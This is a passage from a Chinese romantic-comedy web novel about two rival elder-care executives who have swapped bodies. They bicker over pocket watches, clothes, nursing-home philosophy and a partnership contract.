“我这两天什么剧烈运动都没做,昨天就收拾了行李,刚才就从办公室走到停车场,你的心跳就特别快了,就这身体也得亏你没去当医生。”
许暻把手按在心口的位置,稍微侧了侧身。
然而祁聿没说话,握着方向盘的那只手转了方向,空出来的手轻轻捂在了唇上。
见他不说话,许暻又接着说:“祁总这是太依赖科技自己动少了,还是忙着应付各种女人身体虚了?”
祁聿想也没想地否认:“我什么时候有过女人了?而且心跳加速不一定是因为身体素质差,还可能是其他的原因。”
他意有所指地说了这么一句话,许暻却弄错了重点。
她有几分幸灾乐祸,摇头咂舌道:“28岁了还没有过女人,怪不得这么变态!”
“……”
祁聿放下了捂着唇的手掌,嘴角往下撇了撇。
他像是有话要说,却又好像在克制自己。
最后只憋出了这么一句话:“难道我推崇科技,就是变态?”
许暻才会意他和她没说到一块去,她没过脑,口无遮拦道:“什么呀,我是说你容易冲动的下半身。”
“……”
长久的沉默。
许暻说完的那一刻就后悔了,想抽自己嘴巴,但又不想让事情变得奇怪,于是强撑镇定。
车内的气氛有些微妙。
许暻感觉后槽牙都快咬碎了,脑海中的思绪乱窜。
她到底在说什么?
怎么就直接说出来了?
她和祁聿是能说这事的关系么?
藏在那双精致皮鞋内的脚趾已经要抠出三室一厅了。
好在祁聿打破了尴尬的局面。
“那不如许总给我介绍一个对象?”
许暻‘嘁’了一声,“我身边没有适合你的!”
短暂的停顿后,又状似不经意道:“再说了你不是有一个初恋情人吗?没考虑追回人家?”
“我?初恋情人?”祁聿更加困惑。
许暻却有些心虚,眼神不自然地瞟向别处,语气幽幽:“对啊,大二那会不是全班都知道的事么?”
然而祁聿还是想不起来,只是一再解释:“什么全班都知道的事?我自己怎么不知道我有一个初恋情人?”
祁聿想继续这个话题,许暻却不想往下说了,恰好也到了目的地,许暻毫不犹豫下了车:“不说了,我要去拿我的怀表!”
几秒后那道高大的身影已经消失在了门帘后。
有了那通电话的教训,许暻这一次可发动了她的演技,她回想着祁聿有些装的一言一行,双手插进裤兜,挺直腰杆,压低嘴角,不苟言笑。
“林老板。”
林老板似乎没发现什么异常,浅笑应她:“祁先生,许小姐没跟着一块过来吗?”
话音刚落,门口的风铃声已经响起,祁聿也进来了。
林老板侧头,了然笑笑,把修好的怀表拿出来放在玻璃柜上。
“你们这两只怀表我在修的时候才发现型号、内部零件和组构材料都是一模一样的,只是外表有稍许不同,看上去倒是像一对情侣怀表。”
“情侣怀表?!”
许暻猛地抬头,瞳孔里充斥着震惊。
林老板看了看她,又瞟过一眼祁聿,依然是微微勾唇的表情:“许小姐好像早就知道这是情侣怀表了?”
“啊?”许暻脱口而出的疑问,又很快反应过来她说的是祁聿。
于是跟着转
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头看去。
祁聿的确一脸淡然,好像这只是件再普通不过的事。
“你知道这是情侣表?”许暻问。
祁聿拿了本属于许暻的那块表,指腹轻轻在表盘上摩挲,语气很淡:“如果不是限定款,买到一对应该也没什么稀奇吧?”
“可是这一对就是限定的哦。”林老板在旁边补充:“这两块表我特地去查了,是96年推出的一款纪念式怀表,当时只产出了三对,后来因为制造工艺特殊就再也没有复产过。”
“这表是你买的?”许暻又问。
祁聿把怀表装进了自己的口袋里,摇了摇头。
“不是,是别人送的。”
许暻半信半疑地拿起了属于他的那块怀表,细细端凝,好像确实和她的怀表一样,只是挂链上有些微的不同,上一次她都没注意到。
可她也从来没见过祁聿拿着这块表,如果不是来林老板这里,她甚至都不知道这块表的存在。
“而且这对怀表和这个古董钟其实有着异曲同工之妙哦。”林老板指向店内另一侧的古董钟。
复杂精致的工艺在店内呈现出了最独特的风采,钟身在灯光的照射下泛着熠熠金光,里头的指针规律地走动着,时间一分一秒流逝在其中。
许暻是第一次注意到落在这里的古董钟,她本想问有什么异曲同工之妙,却在开口前被祁聿拉走,他只向林老板留下一句:“我们还有事,先走了。”
……
再次回到车上,许暻觉得祁聿莫名其妙的。
语气有些不满:“有什么事啊?我还想问问林老板这两个表有什么来头呢。”
但祁聿似乎不太想让许暻过多地关注这两块表,“能有什么来头?不过就是一个随心的设计罢了。”
“可你不觉得这过于凑巧了吗?怎么这对限定的情侣怀表就刚好到了我们手里?爷爷奶奶送我的时候也没说这是情侣表啊。”
“虽然是限定,可它不是还有三对吗?有的事可能就是有那么巧合。”
许暻还想辩驳,祁聿又补充:“说不定…真像林老板说的,是因为我们有缘分。”
燃起的情绪瞬间被泼了冷水。
许暻嫌弃地睨他一眼:“有病?”
……
托着这一天起伏过大的情绪回了家,许暻一进房间就扑进了床褥中。
身体一停下来,思绪就忍不住复盘。
今天的事她确实冲动了些,当时太过情绪化,想都没想就直接跑了。
可她也是真的不想去颐安。
但总不能真叫人发现了他们灵魂互换。
身子转了过来,平躺在床上,她呆呆地望着天花板,正纠结着要怎么办。
熟悉的铃声打断了她,许暻又直接接起了电话,连备注都没看一眼:“喂?”
“阿聿?怎么是你接的电话?”电话那头是许暻最熟悉的母亲大人。
她倒吸一口气,猛地坐起来,手机此刻仿佛是烫手山芋——
拿也不想拿,扔也扔不掉。
她又忘了!
舌头像是打结了,她磕磕巴巴好不容易才对那头解释:“啊…妈…不是…阿姨啊……我…我拿错了许暻的手机,您…您有什么事吗?我转告她。”
许暻咬着牙,挤眉弄眼,表情全写在了脸上。
“哦,也没什么事。”电话里的女人笑了笑,“我就是问问她好些了没有,你们前两天不是在路边晕倒了吗?我担心再出事。”
“没…没事,我和她都没事,您放心吧。”
“那我就放心了,那你先忙着,我一会再联系小暻。”
终于挂断了电话,许暻松了口气,即刻起身想去找祁聿换手机。
开门的那一刻,祁聿也站在门前,似乎也要来找她。
视线交汇,两人稍稍顿了片刻,祁聿先开了口:“我们谈谈。”
9. 氧气+9
后面的话被许暻拦在嘴边,“先等等,把你的手机给我。”
祁聿不解:“做什么?”
许暻翻出来今天的两条通话记录,语气无奈:“今天我已经用你的声音接了两次我的电话了,关键有一个电话还是我妈打来的。”
她抢过祁聿的手机,又把自己的手机给他。
“一次两次能糊弄过去,多了就不好糊弄了。”
然而许暻看到面前的人的神色,又或者说是‘她’的神色,展露着几分犹豫。
明显不太愿意换手机。
以为他是不信任她,许暻保证:“你放心,我不会拿着你的手机乱来的,如果你手机里真有什么秘密,我也可以再买一台新的,只用把你的手机带在身边就好了。”
“不用,”话音刚落,他就给了回答,“我手机里没什么秘密,换就换吧。”
他又转身往客厅走,“过来吧,有事跟你谈。”
许暻停留在原地,双眸半眯,那张属于祁聿的脸上全然失去了冷傲,唇边挑起玩味的弧度。
半倚在浅蓝色的沙发上,许暻尽量将视线汇集在一个点——
她还是非常不能接受这些亮色的家具,加上开了灯的缘故,这些颜色更加刺眼。
去祁聿的公司遭罪就算了,现在回了家还要接着遭罪。
她催促道:“要谈什么快谈吧。”
祁聿什么话都没说,只是拿出一张卡,指腹推着卡缓缓送到许暻跟前。
身形稍稍一僵,许暻拿开了挡在额前的手,视线在卡和祁聿身上来回反复。
“祁总这是,打算收买我?”
对面的人点了点头,面色从容:“或者换一个说辞,我想请许总帮我扮演好祁聿这个角色。”
原本属于她的清澈眼眸中混杂了祁聿的傲气与冷淡,许暻几不可察地皱了皱眉。
祁聿接着说:“这张卡里有五十万,如果许总不满意,可以再商量。”
他说已经看到邮箱里多出来的提案报告,加上刘助发来的消息,问他心情好些了没,他就能猜到大概是怎么一回事。
许暻自己有反思过,为了两全的局面,同祁聿讲和。
没成想他先做出了决策。
用钱收买她。
倒是显得他格局大。
身侧的两只手悄悄在胸前抱紧,许暻没有要收这张卡的意思。
她直言拒绝:“不必,今天的事就当是我冲动,钱我就不收了。”
这钱她如果真的收了,他们之间就有莫名的利益关系了。
她不愿意。
祁聿又追问:“那如果许总之后又冲动了呢?总不能次次都以冲动为理由?”
话里完全没有指责的味道,仿佛只是一个理智的商人,在考虑买卖可能出现的风险。
心口暗暗涌起那股熟悉的劲。
认识他十数载,这股劲成长得愈发强烈。
那到底是一种怎样的情绪,许暻其实并不能完全说清。是不服气?又或者夹杂着不甘与厌恶,还是隐隐的不爽?
尤其是在他发挥他冰冷的“游刃有余”时,这股劲就会在心口迸开。
许暻提议:“既然祁总不信任我,那就签合约好了。”
对面的人鼻腔里发出轻轻一哼,并没有把卡收回去的意思。
眼底落入了他的平静,许暻听到他说:“不是不信任许总,我也觉得没有必要签什么合约,毕竟…利益关系是所有关系里,最能解决问题的。”
“……”
话被他推到了尽头,没有后路。
许暻仍有些犹豫。
祁聿却起身走过来,掰过她的手,把卡放在她的掌心,“今天是我没考虑周到,明天我跟你一起去公司,所有的流程以及需要你完成的事,我都亲自带你熟悉一遍。”
“你陪我去?”许暻明显迟疑:“祁总是不是忘了,外人眼里我们是合不来的竞争对手。”
他却浑不在意,身体的动作带动着她的发丝,飘来那股清冽的雪松香。
“合不来吗?顶多也就算个…理念不一吧。”
仿佛前不久在论坛上故意呛她的人不是他一样。
许暻不想纠结这种没必要争执的话题,继续说:“可你不觉得诡异吗?我一个从来没去过你们公司的人,还是你的竞争对手,突然出现在颐安,这算什么?”
祁聿似乎真的沉思了片刻,视线重新对上她。
“你可以以我的名义发一条公告,说我邀请你去颐安考察,给一点专业性的建议。”
许暻眉头皱得更紧,觉得他的提议实在离谱:“这不是更诡异了吗?”
自从她接手养老院之后,他可从来没说过一句认同的话,张口闭口全是“科技养老是发展的必然”,还有什么“人文养老迟早要被科技养老取代”。
一个说着这种话的人,会邀请一个致力于发展人文养老的她去考察?
简直就是笑话。
“但这就是当下最合理的解决办法。”祁聿肯定道:“反正是以我的名义,许总难不成是怕了?”
不得不说,两人交锋这么多年,祁聿总归还是了解许暻的脾性,就这么轻轻一激,许暻的那股劲立马就窜上来了。
她挺直腰板,收紧了手里的卡:“谁怕了?一起就一起!”
才说完话,门铃适时响起。
许暻一惊,以为会是祁聿的父母搞突然袭击,愕然望去。
当事人却一脸淡定,正打算去开门。
“是我新买的衣服到了。”
许暻松了口气,跟着起身,又不解问:“什么衣服?”
以为祁聿是新定制的西装,恰好现在在他身体里的人是她,她倒也不介意帮他试试新衣服。
虽然这人她不太喜欢,但他的身材却是精瘦笔挺那一挂的,在她的审美点上。
等祁聿签收完,抱了一个大箱子进来。
许暻等着他拆。
只是箱子里并不是什么所谓的西装,而是女装,还是很猎奇的女装。
“你买女装?!”许暻面露嫌色,十分不理解他的行为。
那人却淡定地把箱子里的衣服一件件拿出来,并且为了能精心挑选,他特地把落地衣架推过来,整齐地挂好衣服。
“我现在在你的身体里,自然是得买女装。”
许暻蹙起眉,眉心挤出两道细褶,指尖捏着衣服的一角,慢慢捻起来,等一套套搭配完全落入她眼底,心底的那点包袱瞬间被扫荡——
亮粉色的西装里头搭配的是亮橙色的底衫,玫红色的
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休闲套装里配的是黄白条纹的内衬,绿色长裙外配的是粉色小衫……
这五十万真是太该她拿了。
祁聿必须得给她补偿精神损失费。
她以前怎么就没发现这人还有审美癌?
指尖立刻松开衣服,许暻不愿意再多看一眼。
正欲质问他,他倒是先来问她:“明天穿这一套怎样?”
他指着那套绿色长裙。
“祁总,您自己看看这真的好看么?”
给自己打扮得倒是人模狗样的,换到她身上怎么就完全变了味?
许暻很难不认为祁聿是故意的。
可祁聿的行为却告诉她,是她多虑了。
他又摆出那副无辜的嘴脸,对着镜子比划,“我倒是觉得挺适合你的,你以后可以多尝试尝试这种风格。”
许暻根本没眼看。
脑海中光是一想如果这样的搭配出现在了她身上——
一条墨绿长裙外套一件粉色小衫。
走在街上不就是脸红的海带么?
“……”
许暻忍住想揍他的冲动,后槽牙紧咬:“亮粉配墨绿,祁总,就算您没学过美术,是不是也长了眼睛?您怎么不给您的西装这么搭配呢?”
“您”的字眼被咬重,祁聿终于看出许暻的不悦。长裙被重新挂回衣架,他扯了扯衣角,淡定解释:“定制西装没有这样的搭配。”
“是啊,人家定制都不这么搭配!”
许暻白他一眼,把这些衣服全部扔回箱子里,重新封好胶带。
她又把自己带的所有衣服拿出来,勒令祁聿只许在这些衣服里挑选。
审美癌却对她的衣服心存不满,说种类太少太单调,而且高跟鞋居多,他穿不来。
反正说到最后只有一个意思,就是要多买点衣服和平底鞋。
许暻本就没想着要在这里久住,这些衣服在她看来是完全足够的。
但害怕祁聿真的穿腻去找丑衣服,那她还要不要脸?
纠结到最后,许暻妥协了。
“这样,我来买新衣服和平底鞋,但是必须我买什么你穿什么。”
反正祁聿已经付钱了,她何必给自己找不痛快?
祁聿挑了挑眉。
许暻接着补充,态度坚决:“还有,这一箱原封不动地退掉,不要让它再出现。”
短暂的停顿,祁聿抿着唇,像是在压制想要泄出的笑意。
垂落的发丝宛若风中招摇的柳枝轻轻晃荡,占据着许暻身体的人轻轻撇嘴:“没问题。”
许暻的注意力完全没在他身上,自然也没注意到他的神情。
她还在某购物软件上仔细挑选的时候,快递员已经火速上门取走了那一箱衣服。
悬着的心终于放下,许暻又觉得这人事真的太多。
以前读书的时候,她也曾欣赏他的能力;工作的时候,她也曾佩服他的勇气。
但是生活中,真是让人匪夷所思,完全是行走的荒诞派使者。
祁聿不知道是不是良心发现,觉得自己的行为冒犯到她,专门给许暻倒了杯茶。
然而他一开口,许暻就知道自己又想错了。
“最近养老院的等级评定,你们的自评进度怎样了?”
10. 氧气+10
提及此,许暻又拉起了戒备心。
滚烫的茶水在唇边冒着热气,她轻轻吹了吹,小抿一口。
“问这个做什么?”
祁聿半眯着眸,身形自然地靠在沙发上,仿佛只是简单的关心,没有一点想打探的意味。
“这不是要帮许总做事了?不好好了解一下,万一让桐馨这一次不能评上4级,我的责任不就大了吗?”
听听,说得多么没有破绽。
只可惜许暻从来都不是轻信他的人。
又考虑到养老院需要祁聿帮忙,许暻又抿了口茶。
没有了滚热的温度,茶水在嘴里泛起浓浓的涩味。
她下意识皱眉,把茶水放回了茶几上。
“这件事我应该也是没有选择,一定要告诉祁总的,不过我们可以玩点不一样的。”
祁聿的视线从她身上转移到茶水,又重新回到她的身上。
“你说。”
而她的玩法,却完全出乎他的预料。
他以为许暻这样固执的女人,会喜欢寻常的玩法。
她倒是另类又新奇——
石头剪刀布,谁输了就算谁赢。
这样夹杂着概率无法准确预算的玩法,也不怕把自己玩进去了。
她却顶着他的脸毫不在意。
祁聿答应了。
“赌什么?”他问。
许暻坐直了身子,伸展开那两条大长腿,故意在他面前摆弄。
斜看过去的眸色中染上了几分挑衅。
就像论坛那天他坐在台下听她演讲时的神情。
此刻完完全全还给他了。
“我赢了,你就先说你们公司的进度,你赢了,就我先说。如何,很公平吧?”
其实这会的先后之分并没有太大的意义,许暻就是想压他一头。
祁聿没答,动作却应承了她。
只不过结果稍稍不称意——
许暻的石头剪刀布赢了。
也意味着她输了。
祁聿晃了晃握着的拳头,微微得意:“说吧许总,我洗耳恭听。”
……
隔天一早,祁聿陪着许暻去了颐安。
对于许暻要来颐安考察提建议这件事,所有的员工在收到这个消息的时候第一反应是不信。
刘助连夜询问实况,得到的也是肯定的回复。
直到‘许暻’真的和‘祁聿’一起出现在颐安大厦。
不仅是门口的员工,就连提前赶到的刘助,也完全不敢相信会看到这样一副和谐的画面。
他隐隐担心和谐是风暴的前奏。
祁聿在静谧的气氛里扫过刘助一眼,和许暻准备进电梯,却条件反射地叫了刘助:
“刘助理,跟上一起。”
然而话一出,所有人都愣住了。
刘助茫然的视线在两人之间打转,不知道该不该往前。
许暻的步伐也被打乱,慌乱瞪了始作俑者一眼。
又迅速找补:“刘助,一起上楼。”
‘祁聿’发了话,刘助才跟上。
32层的电梯口,许暻让刘助先去备车,祁聿说要带她去养老社区。
两人先回了祁聿的办公室。
祁聿从桌上那一摞文件里精准找出需要的资料送到许暻手上。
“这是每天需要完成的任务,最近不算忙,有一些新项目的开发刘助会详细跟你汇报,如果有什么问题你要及时告诉我;每两周我会跟CFO李总分析财务报表,我想许总在养老院应该也有过这样的经验,不过你放心,我也会提前和你顺一遍。”
许暻一页一页翻过,文件里是非常详细的工作条例。
祁聿还在继续:“我偶尔也会去面试项目的新负责人,不过最近应该不会有太重要的面试;还有和投资方以及董事会的会议,如果真的需要开会,我会提前过来协助你。”
如此一顺,许暻倒是没什么疑问。
不过她突然翻出了昨天的财务汇报,拿出里头夹着的那张纸。
“你的工作我倒是没什么问题,不过对于这张纸,我还有疑问。”
许暻确认了一遍纸上的内容,推到祁聿跟前:“这是什么?”
怡康现在被桐馨收购,挂上了桐馨的名号,她自然得弄清楚。
蓦地,她看到祁聿脸色一变,迅速抢过了那张纸,属于她的脸上出现心虚不自然的神色。
以为祁聿会瞒着,他却选择了解释。
他说这是刘助调查到的一起关于张启林的意外车祸,没出什么大事,张启林也只是轻微的表皮擦伤。
他调查到这些,只是因为当时收购怡康的意愿强烈。
许暻半信半疑,又继续追问:“那你到底为什么要收购怡康?那一块地段我不认为是科技养老受众多的区域。”
这也是她一直存有的疑惑。
那张纸被祁聿揉成了纸团扔进垃圾桶,他侧过身去,许暻看不到清晰的面容,只听见被他压低的声音:“我收购怡康不是想建养老社区,是想做产业园,毕竟颐安的产品还需要地方研发。”
“……”
许暻不再说话。
虽说不是为了针对她,却也是为了能研发那些科技产品。
她又想到了昨天提案上的机器人。
胸口涌起一股冲动想问出口,刘助的电话却在此时响起。
车已经备好,就等着两人下楼。
没有说出口的话题也被扼杀在摇篮里。
……
颐安的养老社区,许暻也是从未踏足过。
她只在大肆宣扬的宣传片上看到过。
印象里,那条宣传片着重介绍了养老社区内的科技智能设备,几乎满条都是刻画着产品的便利,完全没有最基础的人文关怀。
再加上祁聿在她这里的刻板印象,许暻很难对颐安的养老社区有好感。
相比于桐馨的简单、温馨,这里确实要智能许多。
大厅里有前台轮班值守,侧面一块LED大屏实时介绍着养老社区内的生活环境。
祁聿选的地段很好,朝阳且透亮,装修也很精致,空间更是宽敞。
餐厅、休息室、活动室、医疗室等应有尽有,设施几乎完备。
每一片区域都安装有大屏,每一片区域都备有智能化产品,甚至连医疗区也有智能医疗设备。
餐厅的大屏上展示着当日的固定搭配菜品,祁聿说那是根据老年人的身体结构和消化能力来定的;活动室的大屏上显示当日开放的娱乐项目,且写有固定的时间;医疗室的电子系统实时更新着每位老人的生命体征。
祁聿还说了房间里都安装有无死角摄像头,系统也会自动判定是否会出现风险,出现风险时会
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及时通知护士。
许暻也发现了,这里护工并不多,老人在活动室里进行娱乐时,护工只是在一边等着,结束之后再陪老人离开。
同时,这里的老人之间基本没有很多话,下棋打牌的老人也很少。休息铃声响了之后他们都会自动结束,回房休息。
每个老人手腕上都戴有智能手环,他们似乎更乐意与智能手环里的语音助手聊天。
倘若再放置机器人,那这里的老人之间交流只怕会更少,护工也更像按部就班一样,宛若人形机械。
许暻拉着祁聿到了阳台边,再一次质疑:“祁聿,你真的不觉得这样的老年生活太机械化了吗?”
她没有叫祁总,而是直接唤他的名字。
阳光透进来,照亮了整条长廊,却无法赋予它足够的生命力。这片老人们生活的区域,像是一座精密铸造的温室。
祁聿望着干净整洁的长廊,沉默了一会,然后才开口:“我认为有规律且健康的生活,以这样的方式生活,每位老人的身体才能更加康健。”
“可你有没有想过每位老人的生活方式都不一样,每个人喜欢的食物和口味也都不一样,你在大屏上固定的那些菜式,有没有想过有的老人不爱吃,有没有想过有的老人可能对某种食物过敏?”
“是,你给他们戴的智能手环很先进,生命体征出现异常可以马上告知医生护士这也很好,可是养老院的医疗只是很小的一部分,重要的是老人的生活,你看看那些护工,所有的行为就只是机械地按部就班,大多数老人宁愿去跟语音助手聊天都不愿意和同在养老院的其他老人交流,你难道不认为这是问题吗?”
在来社区之前,许暻是讨厌颐安的科技至上和不顾人情的冰冷;来这里之后,她更同情在这里养老的每位老人。
科技是带来了便利没错,可便利之外没有人情的环境只会让孤独的老人更孤独。
爷爷奶奶曾说过,养老院的存在是为了解决每位老人的需求,为他们提供一个温暖的、健康的晚年生活。
所以人文关怀,至关重要。
“祁聿,他们是人,是鲜活多变的人,如果要框住他们的生活、规定所谓的健康生活,那养老院和生产的流水线又有什么区别?”
许暻一直皱着眉,眸中多了几分怜悯。
祁聿知道,是对那些老人的,他也是第一次在自己的脸上看到这种表情。
只是他也有自己的坚持。
“可是这样规律的生活与作息,能够降低很多风险,比如老人之间的纠纷、老人无节制地摄入食物引起身体不适;在老人入院之前我们也登记过老人的过敏药物和食物,所以不会出现过敏的情况;而且这样的安排可以减少护工的负担,节约人力资源,也能间接降低老人的跌倒或烫伤风险。”
“那我问你,如果是你被这样管理,你会不会开心?”许暻尽量忍住自己的脾气说。
祁聿本想反驳他喜欢这样高效规律的生活,但稍稍停顿之后,却又把话吞进了肚子里。
手心微微捏紧,他悄悄咽了咽口水。
等再出声时,语气已经明显缓和:“那你说,要怎样管理养老院?”
许暻不知道是不是自己受到了这些老人的影响,脑海中冒出一股冲劲,她对祁聿提出了一个有些荒唐的要求。
“我来重新整改养老社区,你完全配合我。”
11. 氧气+11
“不行!”拒绝的话脱口而出。
颐安的养老社区和桐馨完全是两个发展方向,他和许暻的理念更是完全不同。
让许暻来整改,养老社区就不是他所期待的模样了。
被祁聿拒绝是许暻意料之中的事,毕竟如果是祁聿提出同样的话题,她也一定会拒绝。
可现在拒绝并不能解决问题,他们灵魂互换是既定的事实。
不做出改变,他们两个人都不会开心。
与其两败俱损,不如各退一步。
许暻耐着性子,重新开口:“祁聿。”
她虽然沉着声,语气却是温和的,也是她从来没有对祁聿用过的语气。
面前的人缓缓抬头,等待着她的下文,眸中夹杂了许暻看不太懂的情绪。
像是金属摩擦炸出的火星子,迅速隐没在平静的湖底,不知所踪。
许暻继续说:“我明白你的顾虑,所以我不会轻易动你的安排,也不会撤销你的那些智能产品,我只是想让那些老人都开心一些、更有活力一些。”
许暻觉得,这已经到她接受的极限了。
她本来是一千一万个不愿意,但亲眼看到这些老人的生活,她又轻易动容了。
从踏入医学大门的那一刻起,从入学时对着宣誓石喊出希波克拉底誓言起,同情心与怜悯心疯狂滋长,加上从小被灌输的理念,她发现她也可以为了她的同情心和怜悯心让步。
哪怕在这个人面前,她一直强硬地维持着自尊。
她并不知道对面的人内心到底是怎样的想法,也并不能确定他会答应她。
祁聿沉默了很久很久,双眸却一直停在她的眼睛上,仿佛想把这双属于他自己的瞳眸盯穿,然后看清里头到底含着一种怎样的思绪。
两人僵持在阳台,因为房间里的老人都在休息,这里更显安静。
许暻只能听见他平稳的呼吸声。
祁聿平时给人的感觉就不太好接近,又冷淡又充满着傲气,再摆出这样凌厉的神态,许暻稍稍紧张起来。
这样略显紧张的气氛蓦然消失在刘助理的轻声询问中。
刘助一直站在长廊尽头关注着两人的动向。
毕竟是祁聿的助理,陪着祁聿参加过不少有许暻在的论坛,也亲眼见证了两人互相呛怼的较劲场面。
两人刻意支开他去偏僻的阳台谈话,万一要是打起来了,影响到社区里的老人,传出去对不久之后的评级也有影响。
一开始还好,后来他注意到两人脸上的神情越来越严肃,忽觉大事不妙,担心是暴风雨的前奏,于是火速赶来掐断还没燃起的火苗。
“祁总,社区已经了解的差不多了,是不是也可以让许总去参观参观产业园?”
没等到祁聿的回答,许暻不想轻易走。
她让刘助先去车里等,祁聿却说要去产业园。
只是又凑近她悄声道:“我需要考虑一下,晚上回家给你答复。”
……
颐安的产业园里,祁聿几乎避开了所有的员工,也不让刘助跟着。
他一个人带着许暻,简单介绍着他们的科技养老产品。
按理来说这种参观只需要简单地了解就够了,但祁聿却让许暻一个又一个地体验。
像是一定要让她知道这些产品到底有什么作用。
从智能检测手环到智能护理床,最后祁聿带她去试玩了颐安专为老人设计的益智游戏。
许暻原本蒙着一层倦怠的双眸微微亮起,仿佛快要熄灭的火星被风拂过,又重新燃起炽炽光亮。
“如何?有没有什么不一样的感觉?”祁聿突然问。
许暻终于会意——
他想让她对这些产品改观,然后接受他的管理模式。
手里的平板被放回去,稍许放松的眸中光点重新凝集,汇聚成犀利的眸色。
许暻扬起唇角,露出祁聿熟悉的皮笑肉不笑的表情:“当然有了。”
片刻的停顿,祁聿等着她继续说。
“颐安科技,不愧是一个注重产品研发、擅长模式化管理又基本忽略老人感受的养老企业。”
“……”
她的语速刻意放缓,又故意咬重她精炼出来的形容。
尖锐的眸光直视着祁聿,她已经能感受到他周身的气息越来越冷。
鼻腔里发出低低的一声哼笑,许暻继续挑衅:“怎样,我这个形容,是不是特别精确?”
依旧没有等到祁聿的回答。
许暻只知道他在忍。
她静静地等着他爆发,情绪却在某一个瞬间突然转变,许暻并没有捕捉到那一个瞬间。
只见祁聿肩膀一松,冰冷的气息骤然消散,属于许暻的脸上重新换上了笑脸。
许暻又警惕起来——
又是那种带有深意的笑。
下一秒,祁聿提出了一个她不太能抗拒的条件:“你好像对这个益智游戏十分感兴趣,如果我说把这个游戏卖给桐馨,并且赠送老龄化平板,许总要不要呢?”
交锋的时候他却突然递出一张讲和牌,这是以前从来没有过的场面。
许暻不懂他这是做什么。
而且利器甩出去没有停在靶上,许暻又觉得有些空虚。
她很想给自己撑撑面子潇洒拒绝,可……
她确实是感兴趣。
也确实是想给养老院的老人试试。
她不明白自己怎么被祁聿轻易看穿了。
这种感觉——
不太爽。
许暻还在纠结的时候,祁聿又继续说:“而且我现在成了桐馨的院长,我不介意帮许总去教老人怎么练习,以及在什么时候练习、每天练习多久,毕竟在颐安,我们已经有了非常科学且详细的方案。”
许暻不信他会如此好心,更加警惕。
“你要开什么条件?”
那人又用起了他惯用的商人的那一套,每句话都说得好听,却无不是藏着心机。
“哪有什么条件?我只是想邀请许总和颐安合作,如果桐馨成了颐安的合作方,那许总想整改养老社区,我自然是没有任何意见的。”
又抛出了一个诱她的条件。
许暻仍然防备着:“跟我合作?祁总,您是不是忘了您当初进颐安之后说的话?打造全新科技养老,我没记错吧?况且跟我合作,你觉得你能拿到什么好处?”
讲利益,祁聿根本不是慈善家,卖益智游戏送平板,还亲自包教,除非他开的是天价。
讲情怀,祁聿就更搭不上
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边。
祁聿笑得更让人难以捉摸:“颐安获得了一部分资金,也能让许总安安心心扮演颐安的CEO祁聿,这对我来说,还不算好处?”
许暻还是没有完全信。
祁聿这人,喜欢坑人,是大学常有的事。
而且他现在是商人,奸诈狡猾,许暻觉得得好好想想。
可那人继续引诱她。
“这款益智游戏是我们公司根据众多文献和数据研发的,并且不久后会有一个专属的app被开发出来,许总,这可是专项,价钱绝对会让许总满意,而且许总应该也知道,这种益智练习,能够有效改善老年人的认知障碍吧?”
完全说到她心坎里去了。
许暻快被说动了。
祁聿如果再继续下去,她真的要答应他了。
然而一通电话搅乱了气氛。
许暻猛地回神,暗暗松了口气。祁聿从包里掏出手机,看到备注,瞳孔微缩——
老婆。
他举着手机送到许暻跟前,“你有老婆?”
许暻也跟着紧张起来,两只手不知所措,想要拿起来接听,又想到自己还不能接,又把手机推回祁聿耳边:“这是楹楹,你接,别乱说话!”
许暻口中的楹楹是她十几年的闺蜜,跟她、祁聿都是同学,只不过毕业之后宋楹入了本行,在淮北市某三甲医院的神经外科做医生。
这阵子她去了邻市交流学习,还没说什么时候回来。
电话接通,那头的人已经掩不住兴奋:“小暻,我刚到家,你晚上什么时候回来,来我家,我带了很多特产回来!”
宋楹和许暻是邻居,当时毕业之后买房子两人特意挑的对门。
许暻没听见对面那头说了什么,只听祁聿答:“我最近不在家住,在祁聿家——”
他还没说完,嘴巴就被许暻伸来的手死死捂住,许暻无声质问:“不是说让你别乱说吗!”
不知道是因为凑近了,还是那头的人因为过于诧异嗓门太大,许暻听到宋楹说:“你住祁聿家去了?!”
虽然嘴巴被捂着,但喉咙还能发声,祁聿又嗯了一声。
许暻眼疾手快地挂了电话,也不再管话是不是没说完。
她抢回自己的手机,抓起‘自己’的衣角,狠狠睨他:“祁、聿!”
这两个字基本是从牙缝里挤出来的,声音低沉醇厚,是明显发怒的男声,同时裹挟着她的怒火。
“我是不是让你别乱说话?说我住你家,你什么居心啊?!”
许暻真是愈发弄不懂这人,本来应该瞒着的事就这么吐了出去。
而且他还一脸无辜,语气平淡:“我只是实话实说而已。”
许暻又咬了咬唇肉,双眸瞪大,一把甩开他。
语气明显不悦:“好啊,实话实说,那你干脆也对你爸妈实话实说,对你们公司的员工实话实说,让所有人都知道我们灵魂互换了!”
还实话实说?真不知道他是蠢还是故意的。
电话又一次响了起来。
不出意外,还是宋楹打来的。
许暻任由着铃声一直响,那头也坚持不懈地一直打来。
最后许暻自暴自弃地把手机扔给祁聿:“你惹出来的,你解决!”
12. 氧气+12
电话被重新接起,这一次祁聿还真没说什么,许暻也没听到那头说了什么。
短短三十秒,在祁聿说了一声“好”之后,通话结束了。
“楹楹说什么了?”许暻等着祁聿开口。
他收起手机,挑了挑眉,若无其事道:“她说……让我等着。”
等着?
等什么?
宋楹生气了?
许暻想拿回手机跟宋楹解释,又被祁聿推着走。
“先别管了,我们还是继续谈谈合作的事。”
许暻被祁聿半强制带回了颐安科技的大楼,密不透风的办公室里只有恒温空调微弱的声音。
许暻坐在属于祁聿的位置上,祁聿反坐在办公桌边沿,推给许暻文件,那是已经拟好的合同。
“许总看看,没什么问题就签吧?”祁聿递了一支笔出去。
许暻没接。
她狐疑地盯着这份合同,从里到外、从头到尾看了又看。
她也不敢想象,回来之后仅仅过了半个小时,新鲜的合同就在她面前等着签字了。
目光最后瞟向祁聿,那人十分泰然,好似笃定了许暻会签这份文件似的。
“这份合同不会是你早就拟好的吧?”许暻虽然很不相信这个可能,但这是最有可能的可能。
祁聿没有肯定,也没有否认,一句话敷衍过去:“这不重要,重要的是许总签不签。”
正如祁聿所说,他开的价格非常理想,条件也很诱人,她没理由不签。
见她仍然犹豫,祁聿直接将笔塞进她手里,“许总,别犹豫了,签吧?”
“你说了能完全算数吗?你们董事会都同意吗?”许暻还是担心。
“我说了完全算数,我能把合同放在这,就代表董事会同意了,签吧,签了之后桐馨的老年痴呆率没准还会逐年下降。”
许暻最后成功被祁聿忽悠签了。
按完手印之后,她突然有点后悔。
好像又有一种莫名被坑了的感觉。
